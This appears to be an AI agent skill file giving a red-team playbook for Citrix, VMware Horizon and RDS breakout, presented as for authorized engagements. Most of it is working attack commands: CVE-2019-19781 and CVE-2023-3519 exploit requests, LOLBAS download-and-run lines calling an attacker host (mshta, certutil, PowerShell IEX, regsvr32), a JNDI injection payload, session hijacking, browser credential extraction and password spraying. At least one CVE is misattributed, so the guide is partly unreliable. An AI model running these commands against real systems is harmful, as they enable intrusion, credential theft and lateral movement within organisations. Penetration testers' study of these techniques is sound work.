---
name: rt-citrix-vdi
description: "Citrix and VDI breakout skill for authorized engagements. Citrix receiver dialog box escape, file manager breakout, print dialog abuse, URL handler exploitation, Citrix StoreFront enumeration, Citrix ADC (NetScaler) exploitation, VMware Horizon breakout, RDS/RemoteApp escape, and pivoting from VDI to internal network. Use when engagement scope includes Citrix published applications, VDI environments, or thin client deployments."
---

# rt-citrix-vdi — Citrix & VDI Breakout

## Overview

Citrix and VDI environments are designed to give users access to applications without full desktop access. Breakout techniques find gaps in application whitelisting that allow launching unauthorized processes, accessing the underlying OS, or pivoting to the internal network.

---

## Phase 1 — Citrix Enumeration

```bash
# Find Citrix infrastructure
nmap -sV -p 443,8080,1494,2598,80 TARGET_RANGE
# 1494 = Citrix ICA protocol
# 2598 = Citrix CGP (session reliability)
# 443 = Citrix Gateway / StoreFront (HTTPS)

# Enumerate StoreFront (web interface)
curl https://citrix.corp.com/Citrix/StoreWeb/
# Look for: published application list, authentication methods

# Check for NetScaler (Citrix ADC)
curl -I https://citrix.corp.com/
# X-Citrix-Application header = NetScaler

# CVE-2019-19781 (NetScaler RCE — still found in old installs)
curl -v "https://NETSCALER_IP/vpn/../vpns/cfg/smb.conf"
# If returns config file → vulnerable

# Exploit CVE-2019-19781
python3 citrix_rce.py --host NETSCALER_IP --cmd "id"
# github.com/trustedsec/cve-2019-19781
```

---

## Phase 2 — Published Application Breakout

### Dialog Box Techniques

```
TECHNIQUE 1: File Open/Save Dialog → Explorer
- In published app: File → Open OR File → Save As
- Dialog box opens → navigate to C:\Windows\System32\
- Type in filename field: cmd.exe → press Enter → cmd.exe launches

TECHNIQUE 2: Print Dialog → Run
- File → Print → Print to PDF → Browse
- In save dialog → address bar type: \\ATTACKER_IP\share
  (triggers SMB auth) OR type C:\Windows\System32\cmd.exe

TECHNIQUE 3: About Box → Help → Browser
- Help → About → click hyperlink in about box
- Default browser opens (Internet Explorer often)
- IE address bar: C:\Windows\System32\cmd.exe
```

### Sticky Keys / Accessibility Breakout

```powershell
# If you can reach the lock screen or accessibility menu:
# Press Shift 5 times → Sticky Keys dialog
# Click "Go to Ease of Access Center" → opens IE/Edge
# Address bar → cmd.exe

# Task Manager breakout (if Ctrl+Alt+Del available)
# Ctrl+Alt+Del → Task Manager → File → Run New Task
# Type: cmd.exe ✓ → shell
```

### URL Handler Abuse

```
# In browser within published app (if available):
# Address bar tricks:

file:///C:/Windows/System32/cmd.exe
\\ATTACKER_IP\share   (triggers file dialog)

# If Office is published:
# Insert → Hyperlink → type: cmd.exe → click link → spawns cmd

# PowerPoint: Insert → Action → Run Program → cmd.exe
```

---

## Phase 3 — Escape from Restricted Shell / AppLocker

```powershell
# Once in cmd.exe — likely AppLocker restricted
# Can't run .exe from Downloads → use trusted paths

# LOLBAS from trusted locations (AppLocker usually allows System32)
C:\Windows\System32\mshta.exe http://ATTACKER/payload.hta
C:\Windows\System32\wscript.exe \\ATTACKER\share\payload.vbs
C:\Windows\System32\certutil.exe -urlcache -split -f http://ATTACKER/nc.exe C:\Temp\nc.exe

# PowerShell (if not blocked)
powershell -ExecutionPolicy Bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"

# MSBuild (AppLocker bypass — trusted Microsoft binary)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj

# InstallUtil
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false payload.dll

# Regsvr32 (squiblydoo)
regsvr32 /s /n /u /i:http://ATTACKER/payload.sct scrobj.dll
```

---

## Phase 4 — Citrix-Specific Privilege Escalation

```powershell
# Check which user account runs published apps
whoami
# Often: domain user or service account

# Check Citrix session info
qwinsta  # List sessions
query session  # Active sessions

# Find other users' sessions on same Citrix server
query user /server:CITRIX_SERVER

# Session hijacking (if admin)
tscon TARGET_SESSION_ID /dest:CURRENT_SESSION_ID /password:""
# Takes over another user's session

# Check for sensitive data in Citrix profile
# Citrix redirects: Desktop, Documents, Downloads to UNC paths
net use  # See mapped drives
# Often: H:\ = home drive, G:\ = group share → company data

# Keylogging other users' sessions (SYSTEM required)
# Use existing C2 capabilities once SYSTEM is obtained
```

---

## Phase 5 — VMware Horizon Breakout

```bash
# VMware Horizon (VDI platform — alternative to Citrix)
# Similar breakout techniques apply

# Horizon enumeration
nmap -sV -p 443,8443,4172,32111 HORIZON_SERVER
# 4172 = PCoIP protocol
# 443 = Horizon Connection Server web interface

# CVE-2021-22005 (Horizon SSRF/RCE — Log4Shell related)
curl -X POST "https://HORIZON_IP/logon" \
  -H "X-Forwarded-For: \${jndi:ldap://ATTACKER_IP/exploit}"

# Horizon client breakout
# Same dialog box techniques as Citrix apply
# VMware Tools on guest → check for shared folders
net share  # List shared resources
# vmware-tools may expose host filesystem

# Remote Desktop Session Host (RDSH) breakout
# Similar to Citrix — look for:
# Task Manager → File → Run
# Explorer via dialog boxes
# Accessibility tools at lock screen
```

---

## Phase 6 — Pivot from VDI to Internal Network

```powershell
# VDI machine is domain-joined → standard AD attacks apply
# From VDI shell:

# Network discovery (VDI has internal network access)
ipconfig /all  # Check all interfaces
arp -a         # Internal hosts

# Port scan internal from VDI (often unrestricted internally)
# PowerShell port scan (no nmap needed)
1..1024 | ForEach-Object {
    $socket = New-Object Net.Sockets.TcpClient
    $connect = $socket.BeginConnect("10.10.10.1", $_, $null, $null)
    Start-Sleep -Milliseconds 50
    if ($socket.Connected) { Write-Host "OPEN: $_" }
    $socket.Close()
}

# Credential hunting on VDI
# Users store passwords in browser, sticky notes, files
Get-ChildItem C:\Users -Recurse -Include "*.txt","*.xlsx","*.docx","password*","creds*" 2>$null
# Browser saved passwords
.\SharpChrome.exe logins

# SMB lateral movement from VDI to internal servers
crackmapexec smb 10.10.10.0/24 -u user -p password
```

---

## Phase 7 — Citrix ADC (NetScaler) Exploitation

```bash
# NetScaler = Citrix load balancer / gateway — high value target

# CVE-2023-3519 (Unauthenticated RCE — critical, 2023)
# Affects: NetScaler ADC and Gateway before specific versions
curl -v "https://NETSCALER_IP/gwtest/formssso?event=start&target=http://ATTACKER:8080/$(python3 -c 'print(\"A\"*1024)')"

# Password spray against NetScaler Gateway
# Often exposed to internet → spray corporate credentials
hydra -L users.txt -p 'Summer2024!' TARGET_IP https-post-form \
  "/nf/auth/doAuthentication.do:login=^USER^&passwd=^PASS^&StateContext=:Password:"

# Extract NetScaler config (if admin access)
# Contains: LDAP service account creds, VPN config, SSL certs
show ns config  # NetScaler CLI
cat /nsconfig/ns.conf  # Config file (has passwords in cleartext sometimes)
```

---

## Skill Levels

**BEGINNER:** Dialog box breakout to cmd.exe · File Open/Save escape · Task Manager run

**INTERMEDIATE:** AppLocker bypass via LOLBAS · VDI network discovery and pivoting · Browser credential extraction

**ADVANCED:** Session hijacking · NetScaler CVE exploitation · VMware Horizon RCE

**EXPERT:** Citrix ADC full compromise · Custom AppLocker bypass chains · VDI persistence via COM hijacking

---

## References

- CVE-2019-19781: https://github.com/trustedsec/cve-2019-19781
- CVE-2023-3519: https://www.rapid7.com/blog/post/2023/07/18/etr-cve-2023-3519/
- Citrix breakout techniques: https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-environments/
- MITRE T1548: https://attack.mitre.org/techniques/T1548/
